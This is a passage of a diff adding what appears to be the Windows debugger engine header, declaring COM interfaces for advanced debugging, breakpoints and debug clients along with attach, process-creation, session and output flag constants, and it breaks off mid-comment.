+ STDMETHOD(FindSourceFileAndToken)( + THIS_ + __in ULONG StartElement, + __in ULONG64 ModAddr, + __in PCSTR File, + __in ULONG Flags, + __in_bcount_opt(FileTokenSize) PVOID FileToken, + __in ULONG FileTokenSize, + __out_opt PULONG FoundElement, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FoundSize + ) PURE; + + STDMETHOD(GetSymbolInformation)( + THIS_ + __in ULONG Which, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize, + __out_ecount_opt(StringBufferSize) PSTR StringBuffer, + __in ULONG StringBufferSize, + __out_opt PULONG StringSize + ) PURE; + + STDMETHOD(GetSystemObjectInformation)( + THIS_ + __in ULONG Which, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugAdvanced3 +DECLARE_INTERFACE_(IDebugAdvanced3, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugAdvanced. + + // Get/SetThreadContext offer control over + // the full processor context for a thread. + // Higher-level functions, such as the + // IDebugRegisters interface, allow similar + // access in simpler and more generic ways. + // Get/SetThreadContext are useful when + // large amounts of thread context must + // be changed and processor-specific code + // is not a problem. + STDMETHOD(GetThreadContext)( + THIS_ + __out_bcount(ContextSize) /* align_is(16) */ PVOID Context, + __in ULONG ContextSize + ) PURE; + STDMETHOD(SetThreadContext)( + THIS_ + __in_bcount(ContextSize) /* align_is(16) */ PVOID Context, + __in ULONG ContextSize + ) PURE; + + // IDebugAdvanced2. + + // + // Generalized open-ended methods for querying + // and manipulation. The open-ended nature of + // these methods makes it easy to add new requests, + // although at a cost in convenience of calling. + // Sufficiently common requests may have more specific, + // simpler methods elsewhere. + // + + STDMETHOD(Request)( + THIS_ + __in ULONG Request, + __in_bcount_opt(InBufferSize) PVOID InBuffer, + __in ULONG InBufferSize, + __out_bcount_opt(OutBufferSize) PVOID OutBuffer, + __in ULONG OutBufferSize, + __out_opt PULONG OutSize + ) PURE; + + STDMETHOD(GetSourceFileInformation)( + THIS_ + __in ULONG Which, + __in PSTR SourceFile, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize + ) PURE; + STDMETHOD(FindSourceFileAndToken)( + THIS_ + __in ULONG StartElement, + __in ULONG64 ModAddr, + __in PCSTR File, + __in ULONG Flags, + __in_bcount_opt(FileTokenSize) PVOID FileToken, + __in ULONG FileTokenSize, + __out_opt PULONG FoundElement, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FoundSize + ) PURE; + + STDMETHOD(GetSymbolInformation)( + THIS_ + __in ULONG Which, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize, + __out_ecount_opt(StringBufferSize) PSTR StringBuffer, + __in ULONG StringBufferSize, + __out_opt PULONG StringSize + ) PURE; + + STDMETHOD(GetSystemObjectInformation)( + THIS_ + __in ULONG Which, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize + ) PURE; + + // IDebugAdvanced3. + + STDMETHOD(GetSourceFileInformationWide)( + THIS_ + __in ULONG Which, + __in PWSTR SourceFile, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize + ) PURE; + STDMETHOD(FindSourceFileAndTokenWide)( + THIS_ + __in ULONG StartElement, + __in ULONG64 ModAddr, + __in PCWSTR File, + __in ULONG Flags, + __in_bcount_opt(FileTokenSize) PVOID FileToken, + __in ULONG FileTokenSize, + __out_opt PULONG FoundElement, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FoundSize + ) PURE; + + STDMETHOD(GetSymbolInformationWide)( + THIS_ + __in ULONG Which, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize, + __out_ecount_opt(StringBufferSize) PWSTR StringBuffer, + __in ULONG StringBufferSize, + __out_opt PULONG StringSize + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugBreakpoint. +// +//---------------------------------------------------------------------------- + +// Types of breakpoints. +#define DEBUG_BREAKPOINT_CODE 0 +#define DEBUG_BREAKPOINT_DATA 1 +#define DEBUG_BREAKPOINT_TIME 2 + +// Breakpoint flags. +// Go-only breakpoints are only active when +// the engine is in unrestricted execution +// mode. They do not fire when the engine +// is stepping. +#define DEBUG_BREAKPOINT_GO_ONLY 0x00000001 +// A breakpoint is flagged as deferred as long as +// its offset expression cannot be evaluated. +// A deferred breakpoint is not active. +#define DEBUG_BREAKPOINT_DEFERRED 0x00000002 +#define DEBUG_BREAKPOINT_ENABLED 0x00000004 +// The adder-only flag does not affect breakpoint +// operation. It is just a marker to restrict +// output and notifications for the breakpoint to +// the client that added the breakpoint. Breakpoint +// callbacks for adder-only breaks will only be delivered +// to the adding client. The breakpoint can not +// be enumerated and accessed by other clients. +#define DEBUG_BREAKPOINT_ADDER_ONLY 0x00000008 +// One-shot breakpoints automatically clear themselves +// the first time they are hit. +#define DEBUG_BREAKPOINT_ONE_SHOT 0x00000010 + +// Data breakpoint access types. +// Different architectures support different +// sets of these bits. +#define DEBUG_BREAK_READ 0x00000001 +#define DEBUG_BREAK_WRITE 0x00000002 +#define DEBUG_BREAK_EXECUTE 0x00000004 +#define DEBUG_BREAK_IO 0x00000008 + +// Structure for querying breakpoint information +// all at once. +typedef struct _DEBUG_BREAKPOINT_PARAMETERS +{ + ULONG64 Offset; + ULONG Id; + ULONG BreakType; + ULONG ProcType; + ULONG Flags; + ULONG DataSize; + ULONG DataAccessType; + ULONG PassCount; + ULONG CurrentPassCount; + ULONG MatchThread; + ULONG CommandSize; + ULONG OffsetExpressionSize; +} DEBUG_BREAKPOINT_PARAMETERS, *PDEBUG_BREAKPOINT_PARAMETERS; + +#undef INTERFACE +#define INTERFACE IDebugBreakpoint +DECLARE_INTERFACE_(IDebugBreakpoint, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugBreakpoint. + + // Retrieves debugger engine unique ID + // for the breakpoint. This ID is + // fixed as long as the breakpoint exists + // but after that may be reused. + STDMETHOD(GetId)( + THIS_ + __out PULONG Id + ) PURE; + // Retrieves the type of break and + // processor type for the breakpoint. + STDMETHOD(GetType)( + THIS_ + __out PULONG BreakType, + __out PULONG ProcType + ) PURE; + // Returns the client that called AddBreakpoint. + STDMETHOD(GetAdder)( + THIS_ + __out PDEBUG_CLIENT* Adder + ) PURE; + + STDMETHOD(GetFlags)( + THIS_ + __out PULONG Flags + ) PURE; + // Only certain flags can be changed. Flags + // are: GO_ONLY, ENABLE. + // Sets the given flags. + STDMETHOD(AddFlags)( + THIS_ + __in ULONG Flags + ) PURE; + // Clears the given flags. + STDMETHOD(RemoveFlags)( + THIS_ + __in ULONG Flags + ) PURE; + // Sets the flags. + STDMETHOD(SetFlags)( + THIS_ + __in ULONG Flags + ) PURE; + + // Controls the offset of the breakpoint. The + // interpretation of the offset value depends on + // the type of breakpoint and its settings. It + // may be a code address, a data address, an + // I/O port, etc. + STDMETHOD(GetOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; + + // Data breakpoint methods will fail if the + // target platform does not support the + // parameters used. + // These methods only function for breakpoints + // created as data breakpoints. + STDMETHOD(GetDataParameters)( + THIS_ + __out PULONG Size, + __out PULONG AccessType + ) PURE; + STDMETHOD(SetDataParameters)( + THIS_ + __in ULONG Size, + __in ULONG AccessType + ) PURE; + + // Pass count defaults to one. + STDMETHOD(GetPassCount)( + THIS_ + __out PULONG Count + ) PURE; + STDMETHOD(SetPassCount)( + THIS_ + __in ULONG Count + ) PURE; + // Gets the current number of times + // the breakpoint has been hit since + // it was last triggered. + STDMETHOD(GetCurrentPassCount)( + THIS_ + __out PULONG Count + ) PURE; + + // If a match thread is set this breakpoint will + // only trigger if it occurs on the match thread. + // Otherwise it triggers for all threads. + // Thread restrictions are not currently supported + // in kernel mode. + STDMETHOD(GetMatchThreadId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetMatchThreadId)( + THIS_ + __in ULONG Thread + ) PURE; + + // The command for a breakpoint is automatically + // executed by the engine before the event + // is propagated. If the breakpoint continues + // execution the event will begin with a continue + // status. If the breakpoint does not continue + // the event will begin with a break status. + // This allows breakpoint commands to participate + // in the normal event status voting. + // Breakpoint commands are only executed until + // the first command that alters the execution + // status, such as g, p and t. + STDMETHOD(GetCommand)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetCommand)( + THIS_ + __in PCSTR Command + ) PURE; + + // Offset expressions are evaluated immediately + // and at module load and unload events. If the + // evaluation is successful the breakpoints + // offset is updated and the breakpoint is + // handled normally. If the expression cannot + // be evaluated the breakpoint is deferred. + // Currently the only offset expression + // supported is a module-relative symbol + // of the form !. + STDMETHOD(GetOffsetExpression)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExpressionSize + ) PURE; + STDMETHOD(SetOffsetExpression)( + THIS_ + __in PCSTR Expression + ) PURE; + + STDMETHOD(GetParameters)( + THIS_ + __out PDEBUG_BREAKPOINT_PARAMETERS Params + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugBreakpoint2 +DECLARE_INTERFACE_(IDebugBreakpoint2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugBreakpoint. + + // Retrieves debugger engine unique ID + // for the breakpoint. This ID is + // fixed as long as the breakpoint exists + // but after that may be reused. + STDMETHOD(GetId)( + THIS_ + __out PULONG Id + ) PURE; + // Retrieves the type of break and + // processor type for the breakpoint. + STDMETHOD(GetType)( + THIS_ + __out PULONG BreakType, + __out PULONG ProcType + ) PURE; + // Returns the client that called AddBreakpoint. + STDMETHOD(GetAdder)( + THIS_ + __out PDEBUG_CLIENT* Adder + ) PURE; + + STDMETHOD(GetFlags)( + THIS_ + __out PULONG Flags + ) PURE; + // Only certain flags can be changed. Flags + // are: GO_ONLY, ENABLE. + // Sets the given flags. + STDMETHOD(AddFlags)( + THIS_ + __in ULONG Flags + ) PURE; + // Clears the given flags. + STDMETHOD(RemoveFlags)( + THIS_ + __in ULONG Flags + ) PURE; + // Sets the flags. + STDMETHOD(SetFlags)( + THIS_ + __in ULONG Flags + ) PURE; + + // Controls the offset of the breakpoint. The + // interpretation of the offset value depends on + // the type of breakpoint and its settings. It + // may be a code address, a data address, an + // I/O port, etc. + STDMETHOD(GetOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; + + // Data breakpoint methods will fail if the + // target platform does not support the + // parameters used. + // These methods only function for breakpoints + // created as data breakpoints. + STDMETHOD(GetDataParameters)( + THIS_ + __out PULONG Size, + __out PULONG AccessType + ) PURE; + STDMETHOD(SetDataParameters)( + THIS_ + __in ULONG Size, + __in ULONG AccessType + ) PURE; + + // Pass count defaults to one. + STDMETHOD(GetPassCount)( + THIS_ + __out PULONG Count + ) PURE; + STDMETHOD(SetPassCount)( + THIS_ + __in ULONG Count + ) PURE; + // Gets the current number of times + // the breakpoint has been hit since + // it was last triggered. + STDMETHOD(GetCurrentPassCount)( + THIS_ + __out PULONG Count + ) PURE; + + // If a match thread is set this breakpoint will + // only trigger if it occurs on the match thread. + // Otherwise it triggers for all threads. + // Thread restrictions are not currently supported + // in kernel mode. + STDMETHOD(GetMatchThreadId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetMatchThreadId)( + THIS_ + __in ULONG Thread + ) PURE; + + // The command for a breakpoint is automatically + // executed by the engine before the event + // is propagated. If the breakpoint continues + // execution the event will begin with a continue + // status. If the breakpoint does not continue + // the event will begin with a break status. + // This allows breakpoint commands to participate + // in the normal event status voting. + // Breakpoint commands are only executed until + // the first command that alters the execution + // status, such as g, p and t. + STDMETHOD(GetCommand)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetCommand)( + THIS_ + __in PCSTR Command + ) PURE; + + // Offset expressions are evaluated immediately + // and at module load and unload events. If the + // evaluation is successful the breakpoints + // offset is updated and the breakpoint is + // handled normally. If the expression cannot + // be evaluated the breakpoint is deferred. + // Currently the only offset expression + // supported is a module-relative symbol + // of the form !. + STDMETHOD(GetOffsetExpression)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExpressionSize + ) PURE; + STDMETHOD(SetOffsetExpression)( + THIS_ + __in PCSTR Expression + ) PURE; + + STDMETHOD(GetParameters)( + THIS_ + __out PDEBUG_BREAKPOINT_PARAMETERS Params + ) PURE; + + // IDebugBreakpoint2. + + STDMETHOD(GetCommandWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetCommandWide)( + THIS_ + __in PCWSTR Command + ) PURE; + + STDMETHOD(GetOffsetExpressionWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExpressionSize + ) PURE; + STDMETHOD(SetOffsetExpressionWide)( + THIS_ + __in PCWSTR Expression + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugClient. +// +//---------------------------------------------------------------------------- + +// Kernel attach flags. +#define DEBUG_ATTACH_KERNEL_CONNECTION 0x00000000 +// Attach to the local machine. If this flag is not set +// a connection is made to a separate target machine using +// the given connection options. +#define DEBUG_ATTACH_LOCAL_KERNEL 0x00000001 +// Attach to an eXDI driver. +#define DEBUG_ATTACH_EXDI_DRIVER 0x00000002 + +// GetRunningProcessSystemIdByExecutableName flags. +// By default the match allows a tail match on +// just the filename. The match returns the first hit +// even if multiple matches exist. +#define DEBUG_GET_PROC_DEFAULT 0x00000000 +// The name must match fully. +#define DEBUG_GET_PROC_FULL_MATCH 0x00000001 +// The match must be the only match. +#define DEBUG_GET_PROC_ONLY_MATCH 0x00000002 +// The name is a service name instead of an executable name. +#define DEBUG_GET_PROC_SERVICE_NAME 0x00000004 + +// GetRunningProcessDescription flags. +#define DEBUG_PROC_DESC_DEFAULT 0x00000000 +// Return only filenames, not full paths. +#define DEBUG_PROC_DESC_NO_PATHS 0x00000001 +// Dont look up service names. +#define DEBUG_PROC_DESC_NO_SERVICES 0x00000002 +// Dont look up MTS package names. +#define DEBUG_PROC_DESC_NO_MTS_PACKAGES 0x00000004 +// Dont retrieve the command line. +#define DEBUG_PROC_DESC_NO_COMMAND_LINE 0x00000008 +// Dont retrieve the session ID. +#define DEBUG_PROC_DESC_NO_SESSION_ID 0x00000010 +// Dont retrieve the process's user name. +#define DEBUG_PROC_DESC_NO_USER_NAME 0x00000020 + +// +// Attach flags. +// + +// Call DebugActiveProcess when attaching. +#define DEBUG_ATTACH_DEFAULT 0x00000000 +// When attaching to a process just examine +// the process state and suspend the threads. +// DebugActiveProcess is not called so the process +// is not actually being debugged. This is useful +// for debugging processes holding locks which +// interfere with the operation of DebugActiveProcess +// or in situations where it is not desirable to +// actually set up as a debugger. +#define DEBUG_ATTACH_NONINVASIVE 0x00000001 +// Attempt to attach to a process that was abandoned +// when being debugged. This is only supported in +// some system versions. +// This flag also allows multiple debuggers to +// attach to the same process, which can result +// in numerous problems unless very carefully +// managed. +#define DEBUG_ATTACH_EXISTING 0x00000002 +// When attaching non-invasively, do not suspend +// threads. It is the callers responsibility +// to either suspend the threads itself or be +// aware that the attach state may not reflect +// the current state of the process if threads +// are still running. +#define DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND 0x00000004 +// When doing an invasive attach do not inject +// a break-in thread to generate the initial break-in +// event. This can be useful to save resources when +// an initial break is not necessary or when injecting +// a thread might affect the debuggee's state. This +// option is only supported on Windows XP and above. +#define DEBUG_ATTACH_INVASIVE_NO_INITIAL_BREAK 0x00000008 +// When doing an invasive attach resume all threads at the +// time of attach. This makes it possible to attach +// to a process created suspended and cause it to start running. +#define DEBUG_ATTACH_INVASIVE_RESUME_PROCESS 0x00000010 +// When doing a non-invasive attach the engine must +// recover information for all debuggee elements. The +// engine may not have permissions for all elements, +// for example it may not be able to open all threads, +// and that would ordinarily block the attach. This +// flag allows unusable elements to be ignored. +#define DEBUG_ATTACH_NONINVASIVE_ALLOW_PARTIAL 0x00000020 + + +// +// Process creation flags to merge with Win32 flags. +// + +// On Windows XP this flag prevents the debug +// heap from being used in the new process. +#define DEBUG_CREATE_PROCESS_NO_DEBUG_HEAP CREATE_UNICODE_ENVIRONMENT +// Indicates that the native NT RTL process creation +// routines should be used instead of Win32. This +// is only meaningful for special processes that run +// as NT native processes. +#define DEBUG_CREATE_PROCESS_THROUGH_RTL STACK_SIZE_PARAM_IS_A_RESERVATION + +// +// Process creation flags specific to the debugger engine. +// + +#define DEBUG_ECREATE_PROCESS_DEFAULT 0x00000000 +#define DEBUG_ECREATE_PROCESS_INHERIT_HANDLES 0x00000001 +#define DEBUG_ECREATE_PROCESS_USE_VERIFIER_FLAGS 0x00000002 +#define DEBUG_ECREATE_PROCESS_USE_IMPLICIT_COMMAND_LINE 0x00000004 + +typedef struct _DEBUG_CREATE_PROCESS_OPTIONS +{ + // Win32 create flags. + ULONG CreateFlags; + // DEBUG_ECREATE_PROCESS_* flags. + ULONG EngCreateFlags; + // Application Verifier flags, + // if DEBUG_ECREATE_PROCESS_USE_VERIFIER_FLAGS is set. + ULONG VerifierFlags; + // Must be zero. + ULONG Reserved; +} DEBUG_CREATE_PROCESS_OPTIONS, *PDEBUG_CREATE_PROCESS_OPTIONS; + +// +// Process options. +// + +// Indicates that the debuggee process should be +// automatically detached when the debugger exits. +// A debugger can explicitly detach on exit or this +// flag can be set so that detach occurs regardless +// of how the debugger exits. +// This is only supported on some system versions. +#define DEBUG_PROCESS_DETACH_ON_EXIT 0x00000001 +// Indicates that processes created by the current +// process should not be debugged. +// Modifying this flag is only supported on some +// system versions. +#define DEBUG_PROCESS_ONLY_THIS_PROCESS 0x00000002 + +// ConnectSession flags. +// Default connect. +#define DEBUG_CONNECT_SESSION_DEFAULT 0x00000000 +// Do not output the debugger version. +#define DEBUG_CONNECT_SESSION_NO_VERSION 0x00000001 +// Do not announce the connection. +#define DEBUG_CONNECT_SESSION_NO_ANNOUNCE 0x00000002 + +// OutputServers flags. +// Debugger servers from StartSever. +#define DEBUG_SERVERS_DEBUGGER 0x00000001 +// Process servers from StartProcessServer. +#define DEBUG_SERVERS_PROCESS 0x00000002 +#define DEBUG_SERVERS_ALL 0x00000003 + +// EndSession flags. +// Perform cleanup for the session. +#define DEBUG_END_PASSIVE 0x00000000 +// Actively terminate the session and then perform cleanup. +#define DEBUG_END_ACTIVE_TERMINATE 0x00000001 +// If possible, detach from all processes and then perform cleanup. +#define DEBUG_END_ACTIVE_DETACH 0x00000002 +// Perform whatever cleanup is possible that doesn't require +// acquiring any locks. This is useful for situations where +// a thread is currently using the engine but the application +// needs to exit and still wants to give the engine +// the opportunity to clean up as much as possible. +// This may leave the engine in an indeterminate state so +// further engine calls should not be made. +// When making a reentrant EndSession call from a remote +// client it is the callers responsibility to ensure +// that the server can process the request. It is best +// to avoid making such calls. +#define DEBUG_END_REENTRANT 0x00000003 +// Notify a server that a remote client is disconnecting. +// This isnt required but if it isnt called then +// no disconnect messages will be generated by the server. +#define DEBUG_END_DISCONNECT 0x00000004 + +// Output mask bits. +// Normal output. +#define DEBUG_OUTPUT_NORMAL 0x00000001 +// Error output. +#define DEBUG_OUTPUT_ERROR 0x00000002 +// Warnings. +#define DEBUG_OUTPUT_WARNING 0x00000004 +// Additional output. +#define DEBUG_OUTPUT_VERBOSE 0x00000008 +// Prompt output. +#define DEBUG_OUTPUT_PROMPT 0x00000010 +// Register dump before prompt. +#define DEBUG_OUTPUT_PROMPT_REGISTERS 0x00000020 +// Warnings specific to extension operation. +#define DEBUG_OUTPUT_EXTENSION_WARNING 0x00000040 +// Debuggee debug output, such as from OutputDebugString. +#define DEBUG_OUTPUT_DEBUGGEE 0x00000080 +// Debuggee-generated prompt, such as from DbgPrompt. +#define DEBUG_OUTPUT_DEBUGGEE_PROMPT 0x00000100 +// Symbol messages, such as for !sym noisy. +#define DEBUG_OUTPUT_SYMBOLS 0x00000200 + +// Internal debugger output, used mainly +// for debugging the debugger. Output +// may only occur in debug builds. +// KD protocol output. +#define DEBUG_IOUTPUT_KD_PROTOCOL 0x80000000 +// Remoting output. +#define DEBUG_IOUTPUT_REMOTING 0x40000000 +// Breakpoint output. +#define DEBUG_IOUTPUT_BREAKPOINT 0x20000000 +// Event output. +#define DEBUG_IOUTPUT_EVENT 0x10000000 +// Virtual/Physical address translation +#define DEBUG_IOUTPUT_ADDR_TRANSLATE 0x08000000 + +// OutputIdentity flags. +#define DEBUG_OUTPUT_IDENTITY_DEFAULT 0x00000000 + +#undef INTERFACE +#define INTERFACE IDebugClient +DECLARE_INTERFACE_(IDebugClient, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugClient. + + // The following set of methods start + // the different kinds of debuggees. + + // Begins a debug session using the kernel + // debugging protocol. This method selects + // the protocol as the debuggee communication + // mechanism but does not initiate the communication + // itself. + STDMETHOD(AttachKernel)( + THIS_ + __in ULONG Flags, + __in_opt PCSTR ConnectOptions + ) PURE; + STDMETHOD(GetKernelConnectionOptions)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG OptionsSize + ) PURE; + // Updates the connection options for a live + // kernel connection. This can only be used + // to modify parameters for the connection, not + // to switch to a completely different kind of + // connection. + // This method is reentrant. + STDMETHOD(SetKernelConnectionOptions)( + THIS_ + __in PCSTR Options + ) PURE; + + // Starts a process server for remote + // user-mode process control. + // The local process server is server zero. + STDMETHOD(StartProcessServer)( + THIS_ + __in ULONG Flags, + __in PCSTR Options, + __in_opt __reserved PVOID Reserved + ) PURE; + STDMETHOD(ConnectProcessServer)( + THIS_ + __in PCSTR RemoteOptions, + __out PULONG64 Server + ) PURE; + STDMETHOD(DisconnectProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + + // Enumerates and describes processes + // accessible through the given process server. + STDMETHOD(GetRunningProcessSystemIds)( + THIS_ + __in ULONG64 Server, + __out_ecount_opt(Count) PULONG Ids, + __in ULONG Count, + __out_opt PULONG ActualCount + ) PURE; + STDMETHOD(GetRunningProcessSystemIdByExecutableName)( + THIS_ + __in ULONG64 Server, + __in PCSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + STDMETHOD(GetRunningProcessDescription)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + // Attaches to a running user-mode process. + STDMETHOD(AttachProcess)( + THIS_ + __in ULONG64 Server, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Creates a new user-mode process for debugging. + // CreateFlags are as given to Win32s CreateProcess. + // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS + // must be specified. + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 Server, + __in PSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + // Creates or attaches to a user-mode process, or both. + // If CommandLine is NULL this method operates as + // AttachProcess does. If ProcessId is zero it + // operates as CreateProcess does. If CommandLine is + // non-NULL and ProcessId is non-zero the method first + // starts a process with the given information but + // in a suspended state. The engine then attaches to + // the indicated process. Once the attach is successful + // the suspended process is resumed. This provides + // synchronization between the new process and the + // attachment. + STDMETHOD(CreateProcessAndAttach)( + THIS_ + __in ULONG64 Server, + __in_opt PSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Gets and sets process control flags. + STDMETHOD(GetProcessOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Opens any kind of user- or kernel-mode dump file + // and begins a debug session with the information + // contained within it. + STDMETHOD(OpenDumpFile)( + THIS_ + __in PCSTR DumpFile + ) PURE; + // Writes a dump file from the current session information. + // The kind of dump file written is determined by the + // kind of session and the type qualifier given. + // For example, if the current session is a kernel + // debug session (DEBUG_CLASS_KERNEL) and the qualifier + // is DEBUG_DUMP_SMALL a small kernel dump will be written. + STDMETHOD(WriteDumpFile)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier + ) PURE; + + // Indicates that a remote client is ready to + // begin participating in the current session. + // HistoryLimit gives a character limit on + // the amount of output history to be sent. + STDMETHOD(ConnectSession)( + THIS_ + __in ULONG Flags, + __in ULONG HistoryLimit + ) PURE; + // Indicates that the engine should start accepting + // remote connections. Options specifies connection types + // and their parameters. Supported strings are: + // npipe:Pipe= + // tcp:Port= + STDMETHOD(StartServer)( + THIS_ + __in PCSTR Options + ) PURE; + // List the servers running on the given machine. + // Uses the line prefix. + STDMETHOD(OutputServers)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Machine, + __in ULONG Flags + ) PURE; + + // Attempts to terminate all processes in the debuggers list. + STDMETHOD(TerminateProcesses)( + THIS + ) PURE; + // Attempts to detach from all processes in the debuggers list. + // This requires OS support for debugger detach. + STDMETHOD(DetachProcesses)( + THIS + ) PURE; + // Stops the current debug session. If a process + // was created or attached an active EndSession can + // terminate or detach from it. + // If a kernel connection was opened it will be closed but the + // target machine is otherwise unaffected. + STDMETHOD(EndSession)( + THIS_ + __in ULONG Flags + ) PURE; + // If a process was started and ran to completion + // this method can be used to retrieve its exit code. + STDMETHOD(GetExitCode)( + THIS_ + __out PULONG Code + ) PURE; + + // Client event callbacks are called on the thread + // of the client. In order to give thread + // execution to the engine for callbacks all + // client threads should call DispatchCallbacks + // when they are idle. Callbacks are only + // received when a thread calls DispatchCallbacks + // or WaitForEvent. WaitForEvent can only be + // called by the thread that started the debug + // session so all other client threads should + // call DispatchCallbacks when possible. + // DispatchCallbacks returns when ExitDispatch is used + // to interrupt dispatch or when the timeout expires. + // DispatchCallbacks dispatches callbacks for all + // clients associated with the thread calling + // DispatchCallbacks. + // DispatchCallbacks returns S_FALSE when the + // timeout expires. + STDMETHOD(DispatchCallbacks)( + THIS_ + __in ULONG Timeout + ) PURE; + // ExitDispatch can be used to interrupt callback + // dispatch when a client thread is needed by the + // client. This method is reentrant and can + // be called from any thread. + STDMETHOD(ExitDispatch)( + THIS_ + __in PDEBUG_CLIENT Client + ) PURE; + + // Clients are specific to the thread that + // created them. Calls from other threads + // fail immediately. The CreateClient method + // is a notable exception; it allows creation + // of a new client for a new thread. + STDMETHOD(CreateClient)( + THIS_ + __out PDEBUG_CLIENT* Client + ) PURE; + + STDMETHOD(GetInputCallbacks)( + THIS_ + __out PDEBUG_INPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetInputCallbacks)( + THIS_ + __in_opt PDEBUG_INPUT_CALLBACKS Callbacks + ) PURE; + + // Output callback interfaces are described separately. + STDMETHOD(GetOutputCallbacks)( + THIS_ + __out PDEBUG_OUTPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetOutputCallbacks)( + THIS_ + __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks + ) PURE; + // Output flags provide control over + // the distribution of output among clients. + // Output masks select which output streams + // should be sent to the output callbacks. + // Only Output calls with a mask that + // contains one of the output mask bits + // will be sent to the output callbacks. + // These methods are reentrant. + // If such access is not synchronized + // disruptions in output may occur. + STDMETHOD(GetOutputMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetOutputMask)( + THIS_ + __in ULONG Mask + ) PURE; + // These methods allow access to another clients + // output mask. They are necessary for changing + // a clients output mask when it is + // waiting for events. These methods are reentrant + // and can be called 